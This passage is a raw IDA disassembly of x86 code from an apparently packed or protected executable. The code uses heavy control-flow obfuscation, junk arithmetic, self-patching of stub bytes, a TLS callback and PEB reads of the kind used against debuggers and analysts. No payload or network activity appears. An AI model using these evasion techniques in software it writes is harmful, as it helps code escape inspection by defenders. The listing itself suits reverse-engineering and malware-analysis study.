; =============== S U B R O U T I N E =======================================
sub_42A061 proc near ; DATA XREF: sub_421ABD+76F5o
push 477108EBh
pop eax
call sub_4289B3
sub_42A061 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_427ABD
loc_42A06C: ; CODE XREF: sub_427ABD+Bj
jmp loc_42B6DF
; END OF FUNCTION CHUNK FOR sub_427ABD
; ---------------------------------------------------------------------------
loc_42A071: ; CODE XREF: _94j21ax3:0042AFA4j
mov byte ptr [eax], 0C3h
call sub_42574E
mov edx, 0A22F8A70h
call sub_422048
jmp loc_428293
; ---------------------------------------------------------------------------
loc_42A088: ; CODE XREF: _94j21ax3:0042A601j
push offset sub_423A56
jmp loc_42AC8D
; =============== S U B R O U T I N E =======================================
sub_42A092 proc near ; CODE XREF: sub_42B9CF-805Cj
; _94j21ax3:004266E1p
; FUNCTION CHUNK AT 00424C88 SIZE 0000000B BYTES
xchg eax, [esp+0]
pop eax
mov edx, 43A8AC5Ch
call sub_4239A5
call sub_42574E
jmp loc_424C88
sub_42A092 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424EB4
loc_42A0AA: ; CODE XREF: sub_424EB4:loc_424EC3j
call sub_42BFF0
loc_42A0AF: ; CODE XREF: sub_427D03:loc_428459j
mov ds:dword_426F44, eax
lea eax, [ebp-14h]
xor edx, edx
call sub_428AE1
call sub_429BC2
jmp loc_42B88C
; END OF FUNCTION CHUNK FOR sub_424EB4
; =============== S U B R O U T I N E =======================================
sub_42A0C8 proc near ; DATA XREF: sub_42A0CC-660Fo
add esp, 4
retn
sub_42A0C8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42A0CC proc near ; CODE XREF: sub_4246B9p sub_42AC17+6p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00421618 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042239B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042346A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004234BE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004234D4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042356D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004238B8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00423911 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423A10 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00423AB6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00423F69 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004246A4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424A6E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424BCD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004250AC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042699B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426D93 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004274BA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042775F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00427C89 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00427D4C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042859D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00428BB1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00429171 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004293E0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004295AB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004298D5 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0042A183 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AAA9 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042AB58 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042B6D2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042B87E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042C5DD SIZE 0000000B BYTES
push large dword ptr fs:0
mov large fs:0, esp
jmp loc_423911
sub_42A0CC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_42A0DF: ; CODE XREF: sub_42B9CF+8j
jnz loc_429467
loc_42A0E5: ; CODE XREF: _94j21ax3:loc_42274Aj
jmp loc_42BFEB
; END OF FUNCTION CHUNK FOR sub_42B9CF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_42A0EA: ; CODE XREF: sub_422EB0-9E2j
mov dword ptr [ebp+eax*4-70h], 73257325h
inc dword ptr [ebp-8]
cmp dword ptr [ebp-8], 19h
jnz loc_4224C5
jmp loc_4292F8
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422DF2
loc_42A104: ; CODE XREF: sub_422DF2+11j
call sub_421799
pop ecx
mov eax, [ebp-4]
mov edx, [ebp-8]
; END OF FUNCTION CHUNK FOR sub_422DF2
; START OF FUNCTION CHUNK FOR sub_4289B3
loc_42A110: ; CODE XREF: sub_4289B3+17j
xchg eax, [edx]
jmp loc_4245A3
; END OF FUNCTION CHUNK FOR sub_4289B3
; =============== S U B R O U T I N E =======================================
sub_42A117 proc near ; DATA XREF: _94j21ax3:loc_4285DCo
add ebx, 3EA1B940h
xchg ebx, [esp+0]
jmp sub_4239A5
sub_42A117 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42221F
loc_42A125: ; CODE XREF: sub_42221F+Aj
mov eax, [eax]
add eax, [ebp-4]
add eax, 18h
; END OF FUNCTION CHUNK FOR sub_42221F
; START OF FUNCTION CHUNK FOR sub_421DC4
loc_42A12D: ; CODE XREF: sub_421DC4:loc_42192Ej
mov [ebp-10h], eax
mov eax, [ebp-10h]
mov eax, [eax+60h]
add eax, [ebp-4]
jmp loc_428910
; END OF FUNCTION CHUNK FOR sub_421DC4
; ---------------------------------------------------------------------------
loc_42A13E: ; CODE XREF: _94j21ax3:0042C088j
jns loc_427530
adc eax, 0E60532AEh
push edi
push 384E4385h
pop edi
rol edi, 9
sub edi, 94453D7Eh
xor edi, 7D109B64h
jmp loc_4247B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42A165: ; CODE XREF: sub_42284F:loc_422115j
jz loc_42AB9A
jmp loc_423946
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422866
loc_42A170: ; CODE XREF: sub_422866:loc_421E23j
jz loc_423E68
jmp loc_42486B
; END OF FUNCTION CHUNK FOR sub_422866
; ---------------------------------------------------------------------------
add esi, ebp
jmp loc_42ADA0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_42A183: ; CODE XREF: sub_42A0CC-372Bj
jmp loc_427D4C
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422392
loc_42A188: ; CODE XREF: sub_422392+965j
jmp loc_42A28E
; END OF FUNCTION CHUNK FOR sub_422392
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421689
loc_42A18D: ; CODE XREF: sub_421689+685j
jmp nullsub_140
; END OF FUNCTION CHUNK FOR sub_421689
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421114
loc_42A192: ; CODE XREF: sub_421114+Dj
xchg esi, [esp+4+var_4]
jmp sub_42C057
; END OF FUNCTION CHUNK FOR sub_421114
; ---------------------------------------------------------------------------
loc_42A19A: ; DATA XREF: sub_4251A2+6884o
pop edi
cmp dword ptr [ebp-4], 0
; START OF FUNCTION CHUNK FOR sub_42ADA2
loc_42A19F: ; CODE XREF: sub_42ADA2-626Dj
jz loc_426C46
jmp loc_4278E1
; END OF FUNCTION CHUNK FOR sub_42ADA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424C37
loc_42A1AA: ; CODE XREF: sub_424C37-2372j
pushf
call sub_422E7B
; END OF FUNCTION CHUNK FOR sub_424C37
; START OF FUNCTION CHUNK FOR sub_42B706
loc_42A1B0: ; CODE XREF: sub_42B706+Dj
jmp loc_4239D3
; END OF FUNCTION CHUNK FOR sub_42B706
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42764C
loc_42A1B5: ; CODE XREF: sub_42764C+Cj
jmp loc_428FC4
; END OF FUNCTION CHUNK FOR sub_42764C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_42A1BA: ; CODE XREF: sub_42484C:loc_424726j
mov [ebp-10h], eax
mov eax, [ebp+8]
mov eax, [eax-10h]
and eax, 7
mov [ebp-14h], eax
jmp loc_427E56
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
shr ebx, 10h
jmp loc_4218E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR TlsCallback_0
loc_42A1D6: ; CODE XREF: TlsCallback_0:loc_426F3Cj
popf
mov edx, [eax]
jmp loc_42352F
; END OF FUNCTION CHUNK FOR TlsCallback_0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_42A1DE: ; CODE XREF: sub_423324:loc_4233F1j
cmp esi, ebp
jmp loc_42BE96
; END OF FUNCTION CHUNK FOR sub_423324
; =============== S U B R O U T I N E =======================================
sub_42A1E5 proc near ; DATA XREF: sub_4294E3+Do
xchg eax, [esp+0]
jmp sub_42A67D
sub_42A1E5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A268
loc_42A1ED: ; CODE XREF: sub_42A268:loc_423523j
mov [ebp+0], edx
jmp sub_42C24F
; END OF FUNCTION CHUNK FOR sub_42A268
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4249A9
loc_42A1F5: ; CODE XREF: sub_4249A9:loc_424D4Ej
call sub_42A3EE
test eax, eax
jz loc_427BB3
jmp loc_428B92
; END OF FUNCTION CHUNK FOR sub_4249A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272C3
loc_42A207: ; CODE XREF: sub_4272C3:loc_4251E3j
add ecx, 3134F4B2h
xchg ecx, [esp+4+var_4]
jmp loc_422DC7
; END OF FUNCTION CHUNK FOR sub_4272C3
; ---------------------------------------------------------------------------
loc_42A215: ; CODE XREF: _94j21ax3:00422254j
jge loc_429DDC
loc_42A21B: ; CODE XREF: _94j21ax3:loc_4258C0j
lea eax, [ebp-24h]
push eax
call sub_42A4F4
loc_42A224: ; CODE XREF: _94j21ax3:00429B67j
jmp loc_42176A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426716
loc_42A229: ; CODE XREF: sub_426716+27E9j
jmp loc_42102B
; END OF FUNCTION CHUNK FOR sub_426716
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426B65
loc_42A22E: ; CODE XREF: sub_426B65-1F9Dj
jmp nullsub_96
; END OF FUNCTION CHUNK FOR sub_426B65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421047
loc_42A233: ; CODE XREF: sub_421047:loc_423924j
cmp byte ptr [eax], 0
loc_42A236: ; CODE XREF: _94j21ax3:0042BAE7j
jnz loc_4280BC
mov eax, [ebp-8]
push offset loc_424C71
jmp nullsub_97
; END OF FUNCTION CHUNK FOR sub_421047
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428381
loc_42A249: ; CODE XREF: sub_428381:loc_4256F0j
jnz loc_428EF3
jmp loc_42671F
; END OF FUNCTION CHUNK FOR sub_428381
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A254 proc near ; CODE XREF: sub_424EB4+Ap
; FUNCTION CHUNK AT 00421F45 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00424543 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425068 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427BBD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004286EF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042BD9C SIZE 0000001C BYTES
mov [esp+0], ebp
mov ebp, esp
push ecx
mov esp, ebp
pop ebp
jmp loc_421F45
sub_42A254 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_208. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_42A263: ; CODE XREF: _94j21ax3:0042566Fj
jmp loc_42BBDE
; =============== S U B R O U T I N E =======================================
sub_42A268 proc near ; CODE XREF: sub_42BED6j
; DATA XREF: sub_4294B3+2A19o
; FUNCTION CHUNK AT 00423523 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042435F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428278 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042A1ED SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042AAD0 SIZE 0000000B BYTES
cmp dword ptr [ebp-4], 1
jnz loc_425077
jmp loc_42AAD0
sub_42A268 endp
; =============== S U B R O U T I N E =======================================
sub_42A277 proc near ; CODE XREF: _94j21ax3:0042646Fj
; _94j21ax3:0042969Aj ...
var_8 = dword ptr -8
; FUNCTION CHUNK AT 004212A4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00422FA3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00424089 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004247DE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00425233 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00425AC1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00425AD0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042B1F7 SIZE 0000000B BYTES
mov [esp+0], esi
pop esi
or eax, eax
jnz loc_425AD0
jmp loc_42B1F7
sub_42A277 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
popf
jmp sub_422898
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422392
loc_42A28E: ; CODE XREF: sub_422392:loc_42A188j
jz loc_4211D8
jmp loc_421AE9
; END OF FUNCTION CHUNK FOR sub_422392
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C3BD
loc_42A299: ; CODE XREF: sub_42C3BD:loc_42C3C6j
test eax, ebx
pop ebx
jz loc_423AB6
jmp loc_42B303
; END OF FUNCTION CHUNK FOR sub_42C3BD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42983E
loc_42A2A7: ; CODE XREF: sub_42983E:loc_429843j
mov esi, 0CE18B087h
jmp loc_423A93
; END OF FUNCTION CHUNK FOR sub_42983E
; =============== S U B R O U T I N E =======================================
sub_42A2B1 proc near ; DATA XREF: sub_42BAD4:loc_4286B2o
; FUNCTION CHUNK AT 00422292 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00429D0F SIZE 00000005 BYTES
call sub_429BC2
test eax, eax
setnz byte ptr [ebp-1]
loc_42A2BC: ; CODE XREF: sub_4235AE+2j
; _94j21ax3:loc_42670Bj ...
push esi
push 0D110EE06h
pop esi
jmp loc_429D0F
sub_42A2B1 endp
; ---------------------------------------------------------------------------
loc_42A2C8: ; CODE XREF: _94j21ax3:loc_42B834j
lea eax, [ebp-800h]
push esi
mov esi, ebx
xchg esi, [esp]
mov [esp], eax
call sub_42AFEE
call sub_42A309
; START OF FUNCTION CHUNK FOR sub_425934
loc_42A2E1: ; CODE XREF: sub_425934+690Bj
jmp loc_429EEC
; END OF FUNCTION CHUNK FOR sub_425934
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424627
loc_42A2E6: ; CODE XREF: sub_424627:loc_428B54j
or ecx, edx
sbb ebx, edx
adc ecx, 21AB3A65h
pop edx
loc_42A2F1: ; CODE XREF: _94j21ax3:00422449j
pop ebx
pop ecx
jmp loc_429264
; END OF FUNCTION CHUNK FOR sub_424627
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421689
loc_42A2F8: ; CODE XREF: sub_421689:loc_427C30j
jz loc_421D04
jmp loc_42645F
; END OF FUNCTION CHUNK FOR sub_421689
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_42A303: ; CODE XREF: _94j21ax3:00423D59j
; sub_428BBD:loc_429C60j
adc eax, 16270073h
; END OF FUNCTION CHUNK FOR sub_428BBD
; =============== S U B R O U T I N E =======================================
sub_42A309 proc near ; CODE XREF: _94j21ax3:0042A2DCp
xchg ebx, [esp+0]
pop ebx
test eax, eax
jmp loc_428298
sub_42A309 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_42A314: ; CODE XREF: _94j21ax3:loc_42B8BDj
jnp sub_42ADA2
and ecx, 0D1B2C39Ah
and edi, edx
jmp loc_427256
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421CAA
loc_42A327: ; CODE XREF: sub_421CAA+642Fj
adc ecx, ebx
jmp loc_42998B
; END OF FUNCTION CHUNK FOR sub_421CAA
; ---------------------------------------------------------------------------
loc_42A32E: ; CODE XREF: _94j21ax3:loc_425BB3j
test al, al
jz loc_4292E6
push esi
call sub_42878A
loc_42A33C: ; CODE XREF: _94j21ax3:00424E2Fj
jmp loc_4299D4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_42A341: ; CODE XREF: sub_423FCD:loc_42BB75j
push 8AAC4DF5h
pop eax
add eax, 0F9BB5FA9h
xor eax, 1693967Ch
jmp loc_42C39E
; END OF FUNCTION CHUNK FOR sub_423FCD
; =============== S U B R O U T I N E =======================================
sub_42A358 proc near ; CODE XREF: sub_42BB39-4936p
; _94j21ax3:00428B40j
mov [esp+0], esi
pop esi
add esp, 0FFFFFFECh
push offset loc_42B3A0
jmp nullsub_101
sub_42A358 endp
; ---------------------------------------------------------------------------
loc_42A369: ; CODE XREF: _94j21ax3:0042B32Fj
pop ecx
; =============== S U B R O U T I N E =======================================
sub_42A36A proc near ; CODE XREF: sub_424A57+3p
; FUNCTION CHUNK AT 00421D13 SIZE 00000001 BYTES
mov [esp+0], eax
pop eax
mov ebp, esp
jmp loc_421D13
sub_42A36A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_42A375: ; CODE XREF: _94j21ax3:0042BD5Fj
rol eax, 0Dh
push eax
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42960D
loc_42A37A: ; CODE XREF: sub_42960D+17j
jmp nullsub_211
; END OF FUNCTION CHUNK FOR sub_42960D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428C49
loc_42A37F: ; CODE XREF: sub_428C49+1D8j
jmp nullsub_172
; END OF FUNCTION CHUNK FOR sub_428C49
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_42A384: ; CODE XREF: sub_42C0BC-3B39j
jmp nullsub_191
; END OF FUNCTION CHUNK FOR sub_42C0BC
; =============== S U B R O U T I N E =======================================
sub_42A389 proc near ; CODE XREF: sub_42B358+Ep
; FUNCTION CHUNK AT 00421929 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424A08 SIZE 00000010 BYTES
push ebp
jmp loc_424A08
sub_42A389 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AA5F
loc_42A38F: ; CODE XREF: sub_42AA5F:loc_4248C3j
and eax, edx
jnz loc_42A3E2
jmp loc_426F5E
; END OF FUNCTION CHUNK FOR sub_42AA5F
; ---------------------------------------------------------------------------
loc_42A39C: ; DATA XREF: sub_42773C:loc_4294D9o
jnz loc_42AE45
; START OF FUNCTION CHUNK FOR sub_42773C
loc_42A3A2: ; CODE XREF: sub_4232F5-664j
; sub_4232F5:loc_42514Aj ...
jb loc_42A016
mov eax, [ebp+8]
test byte ptr [eax-10h], 38h
jnz loc_42AE45
mov eax, [ebp+8]
jmp loc_4259F6
; END OF FUNCTION CHUNK FOR sub_42773C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426FE1
loc_42A3BD: ; CODE XREF: sub_426FE1-1434j
push eax
push 0EED44C9Eh
pop eax
call sub_42972F
; END OF FUNCTION CHUNK FOR sub_426FE1
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_42A3C9: ; CODE XREF: sub_423FCD+7BB8j
jmp loc_422CFC
; END OF FUNCTION CHUNK FOR sub_423FCD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_42A3CE: ; CODE XREF: sub_423324+4B95j
and esi, 84D53A36h
jns loc_428D8F
shr eax, 12h
jmp loc_421A63
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AA5F
loc_42A3E2: ; CODE XREF: _94j21ax3:0042444Fj
; _94j21ax3:004248B7j ...
mov dword ptr [ebp-8], 1
jmp loc_42B291
; END OF FUNCTION CHUNK FOR sub_42AA5F
; =============== S U B R O U T I N E =======================================
sub_42A3EE proc near ; CODE XREF: sub_427CAC-3B49p
; sub_427A68:loc_4246D5p ...
jno sub_422392
push offset sub_4272E9
jmp nullsub_102
sub_42A3EE endp
; ---------------------------------------------------------------------------
jmp sub_4267C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_42A403: ; CODE XREF: sub_42C0BC-A8C0j
jns loc_427484
mov eax, large fs:30h
loc_42A410: ; CODE XREF: _94j21ax3:004276B4j
add eax, 20h
mov eax, [eax]
push ebx
jmp loc_4220CE
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
loc_42A41B: ; DATA XREF: sub_421CAA+56ABo
jz loc_421AFB
add eax, 7D0h
mov [ebp-8], eax
push 2
jmp loc_429D2B
; =============== S U B R O U T I N E =======================================
sub_42A430 proc near ; CODE XREF: sub_421F28+72D8p
; _94j21ax3:0042B12Aj
mov [esp+0], eax
pop eax
loc_42A434: ; CODE XREF: sub_423324-1B10j
add [esi], eax
push offset sub_426A9F
jmp nullsub_103
sub_42A430 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42A440 proc near ; DATA XREF: sub_422973+5ED5o
; FUNCTION CHUNK AT 0042569C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B25D SIZE 00000007 BYTES
push edi
pushf
loc_42A442: ; CODE XREF: _94j21ax3:loc_4231C7j
push 7DEA410h
pop edi
add edi, 0F863E442h
popf
jmp loc_42569C
sub_42A440 endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_199. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4281A5
loc_42A455: ; CODE XREF: sub_4281A5-17BEj
jmp loc_424A7B
; END OF FUNCTION CHUNK FOR sub_4281A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_42A45A: ; CODE XREF: sub_42B9CF-3811j
add esi, 0E6D12190h
or ebx, edi
jmp loc_426FC9
; END OF FUNCTION CHUNK FOR sub_42B9CF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429D19
loc_42A467: ; CODE XREF: sub_429D19+1j
mov ebp, esp
call sub_42B396
; END OF FUNCTION CHUNK FOR sub_429D19
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42A46E: ; CODE XREF: sub_42284F+2016j
jmp loc_4270EF
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421689
loc_42A473: ; CODE XREF: sub_421689:loc_423D80j
pop edi
add edi, 5867F8AAh
and edi, 5932127Ch
test edi, 20h
jmp loc_42B1E7
; END OF FUNCTION CHUNK FOR sub_421689
; ---------------------------------------------------------------------------
call loc_421604
jmp loc_420000
; ---------------------------------------------------------------------------
loc_42A495: ; CODE XREF: _94j21ax3:00423F11j
jmp loc_428D04
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
mov ebp, esp
jnb loc_426923
add esp, 0FFFFFFCCh
lea eax, nullsub_9
mov byte ptr [eax], 0C3h
jmp loc_429A92
; ---------------------------------------------------------------------------
shr edi, 15h
cdq
jmp sub_422F50
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_42A4BD: ; CODE XREF: sub_4272E9+3296j
jno loc_427E5A
push esi
mov eax, [ebx]
loc_42A4C6: ; CODE XREF: sub_4272E9:loc_4227DCj
call sub_4292D7
loc_42A4CB: ; CODE XREF: sub_426DA4:loc_424721j
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428DA6
loc_42A4CD: ; CODE XREF: sub_428DA6-17A5j
jmp sub_42A7EA
; END OF FUNCTION CHUNK FOR sub_428DA6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421457
loc_42A4D2: ; CODE XREF: sub_424A57-955j
; sub_421457:loc_427B42j
push offset loc_426736
jmp sub_426D61
; END OF FUNCTION CHUNK FOR sub_421457
; =============== S U B R O U T I N E =======================================
sub_42A4DC proc near ; CODE XREF: sub_421126+1C5p
; _94j21ax3:loc_425AFAj ...
; FUNCTION CHUNK AT 0042BF0F SIZE 00000002 BYTES
mov [esp+0], ecx
pop ecx
push ebx
push 1650E98Dh
pop ebx
add ebx, 0E9F156CBh
mov [ebx], eax
jmp loc_42BF0F
sub_42A4DC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42A4F4 proc near ; CODE XREF: _94j21ax3:00421B8Cj
; _94j21ax3:0042A21Fp
; FUNCTION CHUNK AT 00426E8F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004297BF SIZE 00000009 BYTES
xchg ebx, [esp+0]
pop ebx
push 506BC688h
add dword ptr [esp+0], 0AF9439B8h
lea eax, [ebp-64h]
jmp loc_426E8F
sub_42A4F4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42A50C: ; CODE XREF: sub_42284F+1DA2j
add ecx, edx
rol ecx, 1Ch
pop ebx
pop edx
pop eax
pop ecx
pop ebp
jmp loc_429473
; END OF FUNCTION CHUNK FOR sub_42284F
; =============== S U B R O U T I N E =======================================
sub_42A51B proc near ; DATA XREF: sub_42A77E+9o
pop ebp
call sub_425790
locret_42A521: ; CODE XREF: sub_421D33:loc_42B5F7j
retn
sub_42A51B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 0C281h
; ---------------------------------------------------------------------------
fcom dword ptr [ebx]
add byte ptr [edi+ecx-4CCC76h], 0FFh
jmp sub_424775
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427CAC
loc_42A533: ; CODE XREF: sub_427CAC:loc_42B818j
jz loc_4294BD
add eax, edx
xor eax, ebx
add eax, ecx
jmp loc_42BE32
; END OF FUNCTION CHUNK FOR sub_427CAC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42426B
loc_42A544: ; CODE XREF: sub_42426B:loc_42331Fj
push ecx
mov esp, ebp
loc_42A547: ; CODE XREF: _94j21ax3:loc_42792Bj
pop ebp
push 7DB1D70Bh
pop eax
call sub_42BEFA
loc_42A553: ; CODE XREF: sub_42875C-4A8j
jmp loc_42503D
; END OF FUNCTION CHUNK FOR sub_42426B
; ---------------------------------------------------------------------------
loc_42A558: ; CODE XREF: _94j21ax3:00424024j
jmp loc_429394
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42A55D: ; CODE XREF: sub_42284F+3Fj
xor ecx, ebp
mov ebx, ecx
mov ecx, 0B3F14E36h
; END OF FUNCTION CHUNK FOR sub_42284F
; START OF FUNCTION CHUNK FOR sub_423F55
loc_42A566: ; CODE XREF: sub_42284F:loc_421221j
; sub_422EB0-1029j ...
js loc_424ABC
push 0
jmp loc_42162D
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_42A573: ; CODE XREF: sub_4272E9-4B07j
xor esi, 0BB5A7A25h
test eax, 26F81AE8h
jmp loc_42A4BD
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_42A584: ; CODE XREF: sub_423324:loc_429F68j
push 5C6489B2h
pop eax
xor eax, 69207F0Ah
add eax, ebp
; END OF FUNCTION CHUNK FOR sub_423324
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_42A592: ; CODE XREF: sub_422EB0:loc_42813Dj
jmp loc_421AE4
; END OF FUNCTION CHUNK FOR sub_422EB0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_71. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427849
loc_42A598: ; CODE XREF: sub_427849+2752j
jmp loc_42B41D
; END OF FUNCTION CHUNK FOR sub_427849
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_42A59D: ; CODE XREF: sub_421402+50j
jmp loc_4283EC
; END OF FUNCTION CHUNK FOR sub_421402
; =============== S U B R O U T I N E =======================================
